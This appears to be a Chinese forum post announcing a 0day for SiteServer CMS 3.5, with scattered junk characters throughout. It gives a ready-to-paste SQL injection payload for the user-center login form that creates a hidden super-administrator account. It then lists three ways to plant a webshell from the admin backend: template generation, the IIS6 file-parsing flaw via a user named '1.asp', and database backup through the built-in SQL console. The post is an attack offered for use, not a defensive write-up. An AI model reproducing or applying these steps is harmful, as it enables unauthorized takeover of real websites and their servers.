SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
" T6 m" h" G( n$ Y* V
stieserver官网:www.siteserver.cn

2 N6 f: ^, C9 I: \: {: y9 h/ ~7 K5 o/ C

" G; D) s' C  o8 NEXP:

直接访问UserCenter/login.aspx

/ x2 P; f  H# k
( ^0 [0 }3 p/ L1 W  _* H$ k" f- b
# d, U0 }7 x6 ?( i用户名处输入：
5 ^! M) n1 z. B- {( [' D: ?
) v8 _- [4 q/ B) {  a% j6 ^123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--

- j9 c3 N5 O+ g1 |7 h4 F

* i* i1 B' A/ }8 C3 z  U! r密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
) w) i7 ^( y: ^  X" a5 X

- W; V  C: r8 u$ r
之后再访问后台SiteServer/login.aspx用插入的用户登陆
, B6 I# }; e2 z% n% ~! o2 ^# A

5 t4 j) y# A. [+ P
* p/ \! O1 B5 e. ?* ?/ g6 V后台拿webshell的三种方法：

' o5 a: \; Q/ w1 w一、
7 }. C1 X* {9 J$ X
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

二、

! S( L; V: ~  ?; M* ], d3 P% M* O成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
0 e4 s0 v6 Q! N# a
* S% K: R' H) _( n3 w7 J用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
! W2 _2 c7 b# f; l0 R6 y
（ps：后台添加用户时不会验证是否含有非法字符）
7 |' v+ `# S+ v( X6 e
三、
3 C2 x, q" z$ [( P4 o" ^
系统工具-》实用工具-》机器参数查看
' Q$ S4 n3 q( `可以看到数据库类型、名称，WEB路径
4 ~9 n2 A$ o$ e
系统工具-》数据库工具-》SQL语句查询
, c0 e4 x4 ^: d9 b# z这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。